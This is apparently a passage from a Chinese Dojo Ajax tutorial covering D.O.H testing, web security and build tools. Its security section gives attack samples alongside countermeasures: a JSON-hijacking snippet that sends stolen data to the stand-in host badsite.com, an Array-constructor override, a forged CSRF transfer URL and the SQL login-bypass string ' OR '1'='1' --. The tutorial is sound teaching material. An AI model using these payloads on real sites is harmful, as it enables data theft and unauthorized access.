内容


使用 Dojo 的 Ajax 应用开发进阶教程,第 10 部分

Ajax 应用的测试、安全、性能及其它

Comments

系列内容:

此内容是该系列 # 部分中的第 # 部分: 使用 Dojo 的 Ajax 应用开发进阶教程,第 10 部分

敬请期待该系列的后续内容。

此内容是该系列的一部分:使用 Dojo 的 Ajax 应用开发进阶教程,第 10 部分

敬请期待该系列的后续内容。

本系列之前的文章详细介绍了 Ajax 应用开发中的基本要素和 Dojo 框架的使用,包括 HTML、JavaScript、CSS、DOM、Dojo 基本库、Dojo 核心库、Dijit 和 Dojo 扩展库等。所有这些技术和相关的最佳实践都是为了帮助开发人员更快的构建高质量的 Ajax 应用。除了满足用户直接需要的功能性需求之前,Ajax 应用还需要满足一些其它的非功能性需求。这些非功能性需求并不会为用户提供更多的功能,但是对于 Ajax 应用的成功来说是非常重要的。很多开发人员倾向于一开始的时候专注于开发出用户直接需要的功能,而把非功能性需求相关的内容放到项目开发的后期。而实际上,由于非功能性需求的满足贯穿于整个应用开发的全过程,如果到项目的后期才开始考虑,有可能会需要对应用的整体架构做出比较大的调整,而影响项目的开发进程。本文详细介绍了 Ajax 应用开发中的一些非功能性需求,包括代码质量、安全、构建过程和性能等。

下面首先介绍 Ajax 应用的测试。

测试

对 Ajax 应用进行测试一直是一个比较复杂的话题,下面主要介绍 Dojo 提供的对单元测试、性能测试和界面测试的支持。

使用 D.O.H 进行单元测试

Ajax 应用的单元测试一直以来都是一个非常复杂的问题。很多 Ajax 应用都没有进行过单元测试,而仅仅依靠测试人员的手工测试来保证代码质量。所带来的问题是很多错误不能在第一时间被发现和得到解决。一个错误发现得越晚,修复它所需要的成本就越高。这也是单元测试的实践受到广泛推崇的重要原因。造成 Ajax 应用中单元测试这个实践没有得到广泛应用的原因有很多。一个重要原因是单元测试的思想还没有被很多 Ajax 应用开发者所认可。绝大多数 Java 开发者都接受使用 JUnit 进行单元测试是一个很好的习惯。而 Ajax 开发者则一般认为 Ajax 应用的测试只需要依靠测试人员的手工测试即可。另外一个重要原因是目前支持 Ajax 应用单元测试的工具还不够完善。有些比较好的工具由于缺乏文档和社区支持等原因,不能得到广泛的流行,因而也无法获得让其自身不断进步的用户反馈。最后,Ajax 应用的单元测试自动化程度不高,也比较难与已有的应用构建系统整合起来。

Ajax 应用的单元测试本身也是一件比较困难的事情。首先,Ajax 应用以浏览器作为运行环境,需要考虑不同浏览器之间的兼容性问题;其次,Ajax 应用中的很多代码逻辑与界面展示绑定得比较紧,难以进行拆分而独立测试;最后,Ajax 应用中很多与界面展示相关的部分,如页面上元素的位置和样式等,比较难用简单的方式进行验证。所以目前来说,Ajax 应用中比较适合单元测试的部分是只包含业务逻辑的 JavaScript 代码。对于包含与页面元素交互的代码,如涉及到 DOM 操作和 CSS 样式修改的,则比较难以进行有效的单元测试。在传统的 Web 应用中,浏览器端所承担的职责比较简单,基本上都是以与页面元素进行交互为主,不会涉及到业务逻辑相关的内容。因此,传统 Web 应用比较难进行单元测试。而在 Ajax 应用中,一部分的业务逻辑被迁移到浏览器端代码中来实现。这样就使得单元测试成为可能。Ajax 应用的单元测试也着重在纯业务逻辑代码这一部分。

对于使用 Dojo 的 Ajax 应用来说,最好的单元测试工具是 D.O.H(Dojo Objective Harness)。D.O.H 是 Dojo 内部模块进行单元测试时使用的框架。D.O.H 提供了常见的单元测试基础设施,可以对同步方法和异步方法进行测试。在单元测试中最重要的部分就是使用断言。通过断言可以验证代码是否按照预期的要求工作。在 D.O.H 中,每个单元测试用例都是一个 JavaScript 方法。在这个 JavaScript 方法中,可以使用各种不同的断言来进行验证。D.O.H 提供了 4 中基本的断言,可以满足编写单元测试用例的需要。这些断言分别是:

  • doh.assertTrue(boolean):断言给定的条件为 true。如 doh.assertTrue(count > 3)。可以简写成 doh.t()
  • doh.assertFalse(boolean):断言给定的条件为 false。可以简写成 doh.f()
  • doh.assertEqual(obj1, obj2):断言两个参数的值是相等的。如 doh.assertEqual(num, 3)。在进行比较的时候,使用的是 JavaScript 中的 ==操作符。==操作符在进行判断的时候会自动进行类型转换,使用此断言的时候需要注意。可以简写成 doh.is()
  • doh.assertNotEqual(obj1, obj2):断言两个参数的值是不相等的。在进行比较的时候,使用的是 JavaScript 中的 !==操作符。可以简写成 doh.isNot()

当上述断言要求的条件不成立的时候,D.O.H 会抛出一个 JavaScript Error对象。可以据此来判断断言是否成功。

除了断言之外,有些单元测试在执行之前需要进行一些准备工作,或者在执行之后需要进行一些清理工作。对于这样的单元测试,D.O.H 允许对测试指定 setUp()tearDown()方法,分别表示测试执行之前和之后需要执行的方法。

编写的单元测试用例需要添加到 D.O.H 中,由 D.O.H 来执行。D.O.H 提供了几个方法用来添加单元测试用例。添加单元测试用例时可以使用的格式有很多。可以只提供一个作为测试内容的 JavaScript 方法,也可以添加一个包含了 setUp()tearDown()方法的 JavaScript 对象,还可以用数组的方式一次添加多个单元测试用例。doh.register()方法可以兼容各种不同的参数格式,推荐使用此方法。除了 doh.register()之外,其它添加单元测试用例的方法还有:

  • doh.registerTest(group, testFuncOrObj):用来添加一个单元测试用例到分组 group中。参数 testFuncOrObj既可以是一个简单的 JavaScript 方法,也可以是一个包含了 runTest()setUp()tearDown()方法和其它配置属性的 JavaScript 对象。额外的配置属性包括 name用来表示测试用例的名字和 timeout用来表示测试用例允许的最长执行时间。
  • doh.registerTests(group, testFuncOrObjArr):用来添加一组单元测试用例到分组 group中。参数 testFuncOrObjArr表示一个包含了不同格式单元测试用例的数组。
  • doh.registerTestNs(group, obj):把一个 JavaScript 对象 obj中的公开方法(不以 _作为方法名称前缀)作为待测试的方法来添加。
  • doh.registerTestUrl(url):从给定的 URL 加载单元测试。给定的 URL 会被嵌在一个 iframe 中。单元测试的执行也在该 iframe 中进行。使用 iframe 的好处是可以进行隔离,避免主页面上的其它元素对测试结果造成干扰。

Ajax 应用中的很多功能都是异步完成的,比如通过 XMLHttpRequest 异步的从服务器端获取数据并进行操作。D.O.H 通过 doh.Deferred对异步操作的单元测试提供了良好的支持。对异步操作进行单元测试非常的简单,只需要为测试方法提供一个 doh.Deferred对象作为返回值即可。doh.Deferred的使用方式与 dojo.Deferred类似。对于异步操作的运行结果,通过执行一系列断言来进行验证。如果断言执行成功,则应该调用 doh.Deferredcallback()方法;如果抛出异常,就调用 errback()方法。

下面通过一个具体的示例来说明 D.O.H 的用法。待测试的是一个简单的 JavaScript 类 sample.Car,表示一辆汽车。该类提供一些方法用来控制汽车的行进,包括前进、转向、加速和减速等,还可以获取到汽车的当前位置。代码清单 1中给出了使用 D.O.H 编写的部分单元测试用例,完整的代码见 下载

清单 1. D.O.H 单元测试示例
 dojo.provide("sample.tests.Car"); 
 dojo.require("sample.Car"); 

 doh.register("sample.Car", [ 
    { 
        name : "driveCar", 
        runTest : function() { 
            var car = new sample.Car(); 
            car.drive(10); 
            var pos = car.getCurrentPosition(); 
            doh.is(pos.x, 0); 
            doh.is(pos.y, 10); 
        } 
    }, 
    { 
        name : "driveRandom", 
        runTest : function() { 
            var car = new sample.Car(); 
            var d = car.driveRandom(); 
            var dd = new doh.Deferred(); 
            d.addCallback(function(result) { 
                try { 
                    doh.is(result.x, 0); 
                    doh.is(result.y, result.time); 
                    dd.callback(true); 
                } 
                catch (e) { 
                    dd.errback(e); 
                } 
            }); 
            return dd; 
        } 
    } 
 ]);

代码清单 1所示,通过 doh.register()方法添加了两个单元测试用例。第一个名为 driveCar的测试用例测试了 drive()方法。第二个名为 driveRandom的测试用例测试的是 driveRandom()方法。driveRandom()方法执行的是异步操作,其作用是让汽车在当前方向上行进随机的一段时间。这个方法的执行也需要等待相应的时间。在测试的时候,需要创建一个 doh.Deferred对象,并作为测试方法的返回值。通过 try...catch来判断断言是否成功执行。

使用 D.O.H 进行性能测试

测试除了要保证代码的功能正确执行外,另外一个需求就是保证代码的高效执行。JavaScript 代码的性能对 Ajax 应用来说比较重要。D.O.H 提供测试 JavaScript 方法执行效率的能力。D.O.H 可以重复执行同一方法许多次,然后计算出执行时间的平均值。代码清单 2中给出了所添加的性能测试的用例。

清单 2. D.O.H 性能测试的示例
 { 
    testType: "perf", 
    trialDuration: 100, 
    trialIterations: 100, 
    trialDelay: 100, 
    name: "turnAroundPerf", 
    runTest : function() { 
        var car = new sample.Car(); 
        car.turnAroundPerf(); 
    } 
 }

代码清单 2中添加了一个测试方法 turnAroundPerf()的性能的测试用例。添加测试用例的时候指定 testType的值为 perf,就声明了这是一个性能测试用例。属性 trialDuration表示的是每次测试的持续时间,以毫秒为单位;trialIterations表示的是测试的迭代次数;trialDelay表示的是每次测试之间的间隔时间,以毫秒为单位。runTest表示的则是要测试的方法。在性能测试结束之后,D.O.H 的测试页面会以图表的形式给出每次测试的执行时间。同时还可以从对象 doh.perfTestResults中获取性能测试的相关数据。

使用 D.O.H robot 进行界面测试

目前已经有一些工具支持对 Ajax 应用的用户界面相关部分进行测试,如 Selenium 等。这些工具一般是通过合成事件(synthetic event)来模拟用户的行为。合成事件是以编程的方式创建出来的,而不是由键盘和鼠标等输入设备产生的。合成事件的一个问题在于浏览器并不信任合成事件,因此不会执行合成事件所对应的默认行为。所以使用合成事件的工具在某些情况下无法满足测试的需求。D.O.H robot 采用了 Java Applet 技术,可以把事件添加到浏览器的原生事件队列中。对于浏览器来说,D.O.H robot 所生成的事件就好像是由真正的输入设备所产生的一样,从而会信任这些事件。因此,D.O.H robot 可以解决一些其它工具无法处理的问题。另外,D.O.H robot 也对 Dojo 框架做了比较好的集成,是测试使用 Dojo 开发的 Ajax 应用的首选界面测试工具。

D.O.H robot 有 3 种不同的实现,分别适用于不同的测试情景。这 3 个实现分别是 doh.robotdojo.robotdijit.robotxdoh.robot提供了最基本的 API 来生成浏览器中的键盘和鼠标事件,可以用来模拟用户的行为。这些 API 的详细说明如 表 1所示。

表 1. doh.robot API 说明
方法说明
typeChars(chars, delay, duration)按照顺序输入字符串或数字。参数 chars表示要输入的字符串或数字;delay表示输入之前的延迟时间;duration表示输入过程的持续时间。
keyPress(charOrCode, delay, modifiers, asynchronous)输入键盘按下的组合键。参数 charOrCode表示按键的字符或代码;delay表示输入之前的延迟时间;modifiers表示功能键 Ctrl、Shift、Alt 和 Meta 的按下状态,如 {shift : 1}表示 Shift 键被按下;asynchronous表示键盘输入事件是同步还是异步的。异步键盘输入适合与浏览器的模态对话框交互。
keyDown(charOrCode, delay)表示按键被按下。参数 charOrCode表示按键的字符或代码;delay表示按下之前的延迟时间。
keyUp(charOrCode, delay)表示按键被释放。参数的含义与 keyDown()相同。
mouseClick(buttons, delay)表示点击鼠标按键。参数 buttons表示鼠标左键、右键和中键的按下状态。如 {left : 1}表示鼠标左键被按下;delay表示点击之前的延迟时间。
mousePress(buttons, delay)表示按下鼠标按键。其参数含义与 mouseClick()相同。
mouseRelease(buttons, delay)表示释放鼠标按键。其参数含义与 mouseClick()相同。
mouseMove(x, y, delay, duration, absolute)表示移动鼠标的位置。参数 xy分别表示目标位置的 X 轴和 Y 轴坐标;delay表示移动之前的延迟时间;duration表示移动过程的持续时间;absolute表示 xy的值是否为绝对坐标。绝对坐标是相对于整个页面的,而相对坐标则是相对于浏览器窗口的。两者的差别体现在有滚动条存在的时候。
mouseWheel(wheelAmt, delay, duration)表示滑动鼠标滚轮。参数 wheelAmt表示滚轮移动的刻度;delay表示移动之前的延迟时间;duration表示移动过程的持续时间。
setClipboard(data, format)设置剪贴板的内容。参数 data表示要设置的内容;format表示内容的格式,text/html表示内容为 HTML 文档,而其它值表示内容为纯文本。
sequence(f, delay, duration)延迟执行某个方法。参数 f表示要执行的方法;delay表示方法执行之前的延迟时间;duration表示方法预计的执行时间。

通过 表 1中给出的这些 API,就可以编写测试用户界面的测试用例了。比如通过 mouseMove()方法把鼠标移动到某个按钮上面,再通过 mouseClick()来进行点击。点击该按钮会触发应用的一些逻辑,造成页面上的元素发生变化。只需要验证页面变化之后的内容是否正确即可。

dojo.robotdoh.robot所提供的 API 的基础上,添加了两个更加实用的方法。第一个是用来移动鼠标到指定节点上的 mouseMoveAt(node, delay, duration, offsetX, offsetY)。该方法的参数 node表示的是文档中的节点;delayduration的含义与 mouseMove()方法相同;offsetXoffsetY表示鼠标的位置相对于节点左上角的位置。这个方法的实用性在于可以非常快速准确的定位鼠标到某个节点上面。如果使用 mouseMove()的话,需要由开发人员自己来计算节点的位置。计算节点的位置需要考虑很多浏览器的兼容性问题,非常繁琐而且容易出错。mouseMoveAt()很好的解决了这个问题。另外一个方法是用来滚动浏览器窗口使得某个节点可见的 scrollIntoView(node, delay)。参数 node表示文档中的节点;delay表示滚动之前的延迟时间。

使用 doh.robotdojo.robot进行测试的时候,要求待测试的页面中引入 D.O.H robot 相关的 JavaScript 文件和添加相应的测试用例。这就要求对待测试的页面进行修改。然而在某些情况下,是不适合对应用的页面直接进行修改来添加测试相关的代码的。在这种情况下就可以利用 dijit.robotx来进行测试。使用 dijit.robotx的时候,测试页面本身仅包含测试用例代码。待测试的应用页面被加载到一个 iframe 中。dijit.robotx的使用非常简单。首先需要调用 doh.robot.initRobot(url)方法进行初始化。参数 url表示的是待测试页面的 URL 地址。然后就可以按照 D.O.H 的一般方式来使用 doh.register()添加测试用例了。在编写测试用例的时候,如果需要引用待测试页面中的 DOM 节点,则需要在第一个测试用例中进行查找。只有在这个时候才可以确保待测试页面已经被成功加载,而且其中的 DOM 节点也是可以被引用的状态。添加完测试用例之后,调用 doh.run()就可以执行这些测试用例了。如果待测试页面中的某些操作会造成页面跳转,如提交一个表单,则需要添加一个额外的测试用例来等待页面跳转完成。这个测试用例的 runTest()方法应该调用 doh.robot.waitForPageToLoad(submitActions)方法来进行等待。该方法的参数 submitActions表示的是会造成页面跳转的一个 JavaScript 方法。

下面通过一个简单的示例来说明 D.O.H robot 的用法。待测试的页面非常简单,包含两个输入框和一个按钮。用户在输入框中输入两个数字之后,再点击按钮,页面上就会显示出两个数字的和。代码清单 3中给出了测试页面的部分代码,完整的代码见 下载

清单 3. D.O.H robot 使用示例
 dojo.require("dijit.robotx"); 
 dojo.addOnLoad(function() { 
    var op1, op2, addButton, result;         
    doh.robot.initRobot("add.html");             
    doh.register("myGroup", { 
        setUp : function() { 
            op1 = dojo.byId("op1"); 
            op2 = dojo.byId("op2"); 
            addButton = dojo.byId("add"); 
            result = dojo.byId("result"); 
        }, 
        runTest : function() { 
            var d = new doh.Deferred(); 
            doh.robot.mouseMoveAt(op1, 500); 
            doh.robot.mouseClick({left:true}, 500); 
            doh.robot.typeKeys("10", 500, 2500); 
            doh.robot.mouseMoveAt(op2, 500); 
            doh.robot.mouseClick({left:true}, 500); 
            doh.robot.typeKeys("35", 500, 2500); 
            doh.robot.mouseMoveAt(addButton, 500); 
            doh.robot.mouseClick({left:true}, 500); 
            doh.robot.sequence(function(){ 
                if(result.innerHTML == "45"){ 
                    d.callback(true); 
                }else{ 
                    d.errback(new Error("Wrong value : " + result.innerHTML)); 
                } 
            }, 900); 
            return d; 
        } 
    }); 
    doh.run(); 
 });

代码清单 3所示,通过 doh.robot.initRobot("add.html")方法来加载待测试的页面 add.html。接着添加了一个测试用例。在这里,对于待测试页面上的 DOM 节点的引用都是在测试用例的 setUp()方法中进行查找的。在测试用例中,通过 D.O.H robot 提供的 API 来移动鼠标到输入框上并输入数字,接着点击按钮来进行计算。最后再验证计算的结果是否正确。添加完测试用例之后,通过 doh.run()方法就可以启动测试执行。

在介绍完测试相关的内容之后,下面介绍与安全相关的内容。

安全

Ajax 应用在部署上线之后,需要面对来自恶意攻击者对应用不同形式的攻击。下面介绍常见的攻击方式及其防范措施。

跨站点脚本攻击

跨站点脚本攻击(Cross-site scripting,XSS)是目前对 Web 应用最常见的一种攻击方式。它的特点是攻击者利用 Web 应用的安全漏洞,将恶意代码注入到用户正在访问的页面中并执行。恶意代码可以窃取用户的私密资料和执行非法操作。恶意代码一旦被注入到网页中,它就具有同网页原始代码一样的权限,可以执行原始代码可以做的任何操作,就好像是原始网页的一部分一样。因此,跨站点脚本攻击的危害很大,但是又很容易出现。比如一个 Web 应用允许用户输入关键词搜索内容,而在搜索结果页面中一般都会显示出用户输入的关键词,而且关键词是作为 URL 的一个参数来传递的。如搜索结果页面的 URL 可能是 /search?keyword=ajax。如果输入的关键词是恶意代码的话,那么这些恶意代码就可能在搜索结果页面中被执行。攻击者只需要构造出一个包含了精心设计的关键词的搜索结果页面的网址,并发送给被攻击者。被攻击者看到网址的前面部分是自己所熟悉的,在不知情的情况下打开了网址,恶意代码就会被执行。

一般来说,跨站点脚本攻击可以分为两种:一种是非持久化的,另外一种是持久化的。非持久化指的是用户输入的内容作为网址或是表单提交的内容的一部分之后,服务器端并没有对这些内容进行处理,而是直接就在页面上进行显示。这样就让恶意代码有机会执行。上一节中的例子就是属于非持久化的。持久化指的是恶意代码被保存到了 Web 应用的服务器上面。每次用户访问某个页面的时候,恶意代码就会被自动执行。这种攻击对社交网站来说尤其常见。社交网站允许用户发布自己的内容,如博客、帖子和评论等。攻击者就可以发布一些包含恶意代码的内容到网站上,并散布这些链接。

应对跨站点脚本攻击的重要原则之一就是不要信任用户的任何输入。应用这一原则的做法有几个。第一种做法是对用户输入的内容进行验证。如果输入的内容中包含潜在的恶意代码,如 <script>,要么过滤掉这些代码,要么拒绝用户的输入。验证用户输入内容的时候,可以采用黑名单、白名单或是两种的组合来进行。黑名单中给出了恶意代码可能的一些模式,凡是符合这个模式的内容都会被过滤掉。白名单则给出了合法的内容模式,凡是不符合这些模式的内容都会被过滤掉。两者方式各有不足之处:黑名单的问题在于很难穷举所有的恶意代码的模式。当有新的攻击方式出现时,不能及时的防范。白名单的问题在于过于严格的合法内容格式会对应用的功能造成影响。比如很多 Ajax 应用都允许用户使用 HTML 语法的某个子集来添加评论。使用 HTML 的语法就给了恶意代码以可趁之机。但是过于限制语法的能力,对用户来说又不方便。因此如何在这两者之间权衡是使用白名单的时候要考虑的问题。在实际中可以把两者结合起来使用。这种做法的实质是把可能的危险内容拒绝在应用之外。

另外一种做法就是在输出的时候对由用户产生的内容进行转义。经过转义之后代码不会被执行,而只是在界面上显示出其内容。这样的话,就避免了恶意代码造成的影响。这种做法的实质是不让恶意代码有被执行的机会。

跨站点请求伪造

跨站点请求伪造(Cross-site request forgery,CSRF)是另外一种常见的攻击方式。它不要求注入恶意代码到目标网站上,而是欺骗认证用户访问一些带有不良执行后果的网址。这里的几个要素是:首先用户必须是已经通过了认证,可以执行某些操作;其次,可以通过访问网站上的网址或是提交表单的形式来进行某些操作。攻击者可以通过观察和猜测的方式了解到网址中参数或表单内容的含义;最后,攻击者可以构建一个网址或特定的表单内容,欺骗用户去访问此网址。如果用户正好登录过了此网站,而且其 cookie 还是有效状态的话,这个请求就可能会成功。用户就在不知情的情况下执行了某些操作。比如一个简单的例子,一个银行网站的在线转账功能是通过发送 HTTP GET 请求到 http://www.mybank.com/transfer?to=Alex&amount=1000来完成的。该 URL 的参数 toamount分别表示要转入的账户名称和金额。攻击者了解了 URL 的格式之后,就可以构造类似 http://www.mybank.com/transfer?to=Bob&amount=1000的网址,并欺骗用户访问这个网址。如果用户正好之前访问过 http://www.mybank.com并且其 cookie 还有效的话,访问攻击者提供的这个网址就会成功,用户的 1000 元就被转账到了 Bob的账户上了。

跨站点请求伪造的成功需要满足一些条件。首先被攻击的网站仅使用 cookie 来作为认证的方式。而浏览器在访问某个网址的时候,会自动把认证所需的 cookie 加上。这样即便请求的内容是有害的,请求也能正确完成。其次,用户在访问伪造的请求之前,需要已经成功认证了目标网站。一般来说,浏览器上一个会话对应的 cookie 的存活时间是 30 分钟。如果攻击者大量散布有害的链接,很大可能上会有相当多的用户被攻击。

防范跨站点请求伪造攻击的办法就是针对上面给出的这些条件一一做出应对。具体的措施如下:

  • 加强 Web 应用的安全机制,不仅仅通过 cookie 来进行认证。一个简单而有效的做法是要求每个请求都带上特定的令牌。服务器端会检查该令牌的内容是否合法。令牌可以通过 URL 查询参数、表单内容或是 HTTP 头的方式来传递。令牌的内容应该是攻击者无法猜测和伪造的。比如可以把当前的会话 ID 的 MD5 值作为令牌的内容。
  • 验证 HTTP 请求中是否包含 Referer头。如果 Referer头的内容不正确,就拒绝此请求。不过需要注意的是有些浏览器或是浏览器插件允许用户去掉 HTTP 请求中的 Referer头。也就是说过于严格的 Referer头限制,可能导致正常用户也无法进行访问。
  • 减少 cookie 的存活时间。对于一些安全性较高的网站,可以尽量减少 cookie 的存活时间。

需要注意的是,如果网站中存在跨站点脚本攻击漏洞的话,上面提到的这些防范跨站点请求伪造的措施都无法起作用。一旦恶意代码被注入到网站中,这些代码就可以执行任何网站原始代码所能执行的操作,包括修改 HTTP 请求的参数、提交的表单的内容和 HTTP 头等。因此防范跨站点请求伪造的先决条件就是要杜绝跨站点脚本攻击的漏洞。

JSON 劫持

很多 Ajax 应用都使用 JSON 格式作为服务器端和浏览器端之间的数据传输格式。相对于另外一种常用的格式 XML 而言,JSON 格式的优点在于格式本身的额外开销少,在浏览器端处理起来比较容易;不足之处在于缺乏很强的语法约束和验证能力。不过对于一般的 Ajax 应用来说,这个不足之处影响很小。不过 JSON 格式会带来一些安全隐患,即所谓的 JSON 劫持(JSON Hijacking)。

使用 JSON 问题是 <script>元素是不受浏览器的同源策略限制的,可以访问来自不同域上的资源。也就是说如果知道了服务器端返回 JSON 格式数据的 URL 地址,就可以通过 <script>来引用这个 JSON 数据。这里的情况和前面提到的跨站点请求伪造的情况类似。只有当用户之前恰好登录过目标网站,而且会话 cookie 还有效的时候,这种请求才能成功。当 JSON 格式的数据被加载之后,浏览器会试图执行这段 JSON 数据。如果 JSON 数据是一个 JavaScript 对象的话,执行会失败,因为语法上不正确。但是如果 JSON 数据是一个 JavaScript 数组的话,执行会成功。一般来说,浏览器执行该 JSON 数据并求值之后,所得到的对象无法被代码直接引用,因而也不存在泄露的问题。不过恶意代码可以通过重定义 JavaScript 中 Array 构造器或是属性设置方法的方式来窃取到 JavaScript 数组中的内容。

第一种做法是重定义 JavaScript 中的 Array 构造器,也就是说当浏览器在创建 JavaScript 数组的时候,实际上调用的是被重新定义的代码。这就给了攻击者以机会来窃取从目标网站上加载的 JSON 数据。代码清单 4中给出了一个重定义 Array 构造器的示例。

清单 4. 重定义 Array 构造器的示例
 <script> 
    var data; 
    function Array() { 
        data = this; 
    } 
 </script> 
 <script src="//www.goodsite.com/test.json"></script> 
 <script> 
    alert(data[0].name); 
 </script>

代码清单 4所示,通过重定义 Array 构造器,获取到了数组本身的引用 data,通过这个引用就访问数组里面的内容。这种攻击方式只对 Firefox 2.0 及以下版本有效。其它浏览器不允许重定义 Array 构造器。

另外一种做法是重定义 JavaScript 对象属性设置时的行为。有些浏览器的 JavaScript 引擎支持通过 Object.prototype.__defineSetter__()方法来定义对象的属性被设置为新的值的时候的行为。攻击者通过重定义属性设置的方法,就可以获取到属性的值。比如通过 Object.prototype.__defineSetter__("name", function(obj){alert(obj);});就可以在设置属性 name的值的时候把它的值显示出来。代码清单 5给出了重定义属性设置方法的示例。

清单 5. 重定义属性设置方法的示例
 <script> 
    Object.prototype.__defineSetter__("name", function(obj){ 
        var image = new Image(); 
        image.src = "http://www.badsite.com/test.jpg?name=" + obj; 
    }); 
 </script> 
 <script src="//www.goodsite.com/test.json"></script>

代码清单 5所示,首先通过 Object.prototype.__defineSetter__()方法重定义了设置属性 name的值的时候的行为。采用的做法是通过图片来发送请求,而数据本身被作为图片 URL 的一部分。这样的话,攻击者的网站就可以通过 URL 参数来获得数据。接着就通过 <script>元素来加载目标网站上的 JSON 数据。访问此页面的时候,会发现浏览器发出了相关的请求,数据也被窃取了。这种攻击方式只对一些浏览器有效,包括 Firefox 3.0 及以下版本,以及 Google Chrome 等。

JSON 劫持攻击虽然只对特定的浏览器有效,但还是会造成一定的安全隐患。防范 JSON 劫持攻击的办法主要有如下几个:

  • JSON 劫持攻击的首要条件是应用中存在跨站点请求伪造的漏洞。只要解决了跨站点请求伪造的漏洞,就防范住了 JSON 劫持攻击。
  • JSON 劫持攻击只对 JavaScript 数组起作用。所以服务器端可以总是返回一个 JavaScript 对象。
  • JSON 劫持攻击通过 <script>元素实现,而 <script>元素只能发出 HTTP GET 请求。因此可以把获取 JSON 数据格式的请求改成必须使用 HTTP POST 方法。这样 <script>元素就无法获取到数据了。

SQL 注入攻击

SQL 注入攻击(SQL injection)是一种常见的针对数据库的攻击方式。一般来说,如果 SQL 语句需要使用参数来构建的话,开发人员习惯于使用字符串拼接的方式。如果这些参数的值是由用户来提供的话,并且在拼接 SQL 语句的时候没有考虑安全问题,就有可能被攻击者利用,达到窃取数据和破坏系统的目的。比如在进行用户登录的时候,典型的做法是根据用户输入的用户名和密码,在数据库中查找是否有匹配的记录。如拼接 SQL 语句时使用的可能是 "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"。对于正常的输入参数,这种做法没有问题,它产生的实际 SQL 语句可能是 SELECT * FROM users WHERE username = 'alex' AND password = 'password'。然而攻击者可以利用这一点在登录的时候传入设计好的参数,比如输入的用户名可能是 ' OR '1'='1' --,输入任意的密码。那实际产生的 SQL 语句就是 SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'password'。这个 SQL 语句中,对密码的检查部分都被注释掉了,对用户名的检查部分则总是为真,因此攻击者就可以登录系统。除了这种类型的参数之外,还有其它各种不同的变种,对不同的数据库系统进行注入攻击。

防范 SQL 注入攻击的做法一般来说有两种,第一种是使用参数化的 SQL 语句,第二种是对输入的参数进行转义。JDBC 里面提供了对参数化语句的支持,由底层实现来帮助解决传入参数的问题。转义则是对一些特殊的字符进行处理,如单引号。代码清单 6中给出了 JDBC 和 PHP 中的相关实现。

清单 6. 防范 SQL 注入攻击的 Java 和 PHP 示例
 //Java 语言
 PreparedStatement stmt = conn.prepareStatement 
    ("SELECT * FROM users WHERE username = ? AND password = ?"); 
 stmt.setString(1, username); 
 stmt.setString(2, password); 
 stmt.executeQuery(); 
     
 //PHP 语言
 $sql = "SELECT * FROM users WHERE username = '" . mysql_real_escape_string($username) . 
    "' AND password = '" . mysql_real_escape_string($password) . "'"; 
 mysql_query($sql);

代码清单 6针对的都是用户登录这个场景。JDBC 中的 PreparedStatement支持 SQL 语句中以 ?表示传入的参数,并与实际的值进行绑定。PHP 中可以使用 mysql_real_escape_string来针对 MySQL 数据库进行字符转义,以保证生成的 SQL 语句是无害的。

在介绍完与安全相关的内容之后,下面介绍 Ajax 应用的构建过程。

构建过程

Ajax 应用在开发完成之后,在部署之前,需要通过一个构建过程来对源代码进行分析和处理。这个构建过程中需要包括一些重要的步骤,下面分别进行介绍。

使用 JSLint 进行静态代码分析

JavaScript 是一门动态的解释型编程语言,它的语法非常灵活。JavaScript 的语言特性决定了它使用起来非常灵活,能够写出非常简洁的代码。但是从另外一方面来说,由于缺乏编译器的类型检查和较强的语法规则,很多错误只有在运行时刻才会被发现,从而会降低开发的效率。JSLint 是一个 JavaScript 语法检查和验证的工具,它可以对代码进行分析,找出可能存在问题的地方。开发人员可以根据 JSLint 发现的错误列表对相关的代码进行具体的分析,从而就可以在项目开发的前期就发现潜在的问题。

JSLint 定义了很多 JavaScript 中可能存在问题的代码模式。这些模式包括全局变量的使用,分号的使用,对较长语句的分行,逗号的使用,对 for..inswitchvarwith的使用、相等条件的判断、对 ++--的使用、对正则表达式的使用、对构造器和 new操作符的使用以及对不安全字符的处理等。JSLint 会扫描整个代码,对其中可能存在问题的地方给出相应的报告。JSLint 也支持对 HTML 和 CSS 代码的检查。JSLint 也提供了丰富的选项用来配置代码验证时的行为。关于 JSLint 的更多内容,见 参考资料

使用 checkstyle 进行代码风格检查

一般来说,在编写 JavaScript 代码的时候都需要遵循一定的代码风格。代码风格所涵盖的内容很多,包括命名规范、文件的组织结构、语句的写法布局、注释的格式和文档的写法等。每个开发团队都可以根据自己的需要定制出整个团队的代码风格规范,并要求团队的每个成员都遵守这样的规范。Dojo 库本身有自己的代码风格规范,并要求其开发人员遵守这个规范。对于使用 Dojo 的 Ajax 应用开发团队来说,可以借鉴 Dojo 的这套代码风格规范。关于 Dojo 的代码风格规范,见 参考资料

在 Dojo SDK 的 util目录下有一个叫 checkstyle的工具,可以用来对 JavaScript 代码进行风格检查。对于查找出的代码风格错误,可以直接进行修改。只需要把 Ajax 应用的 JavaScript 代码复制到与 util同级的目录下,再运行 checkstyle dir=myapp,这个工具就会自动扫描 myapp目录下面的所有 JavaScript 代码,并生成相应的检查结果。打开 checkstyleReport.html文件就可以在浏览器中看到检查结果的报表。使用 checkstyleReport.html也可以直接对有错误的地方进行修改。如果希望能够保存所做的修改,则需要把 checkstyle.php.rename.html文件改名为 checkstyle.php。所做的修改会保存在一个新的文件中,这个新文件的文件名是在原始文件名之后加上 .checkstyle.js。当完成所有的修改之后,就可以通过 checkstyle commit来把这些修改写到原始文件中。

使用 Dojo ShrinkSafe 缩减 JavaScript 代码

JavaScript 代码会被下载到用户浏览器中执行。JavaScript 代码的大小对于下载时间来说有很大的影响。尽量减少 Javascript 代码的大小是提高 Ajax 应用性能的重要手段。Dojo ShrinkSafe 可以用来对 JavaScript 代码进行缩减和合并,从而把多个 JavaScript 文件经过缩减之后,合并成单个文件。通过 Dojo ShrinkSafe 可以减少 HTTP 请求数目和传输的文件大小。

Dojo ShrinkSafe 使用 Rhino 来对 JavaScript 代码进行语法分析,从而可以保证缩减之后的代码与原始代码在功能上是一样的,而不会出现转换的错误。ShrinkSafe 也会对 JavaScript 代码进行混淆,把其中局部变量替换成 _1_2a等难以理解的名称,可以在一定程度上保证代码的安全性。

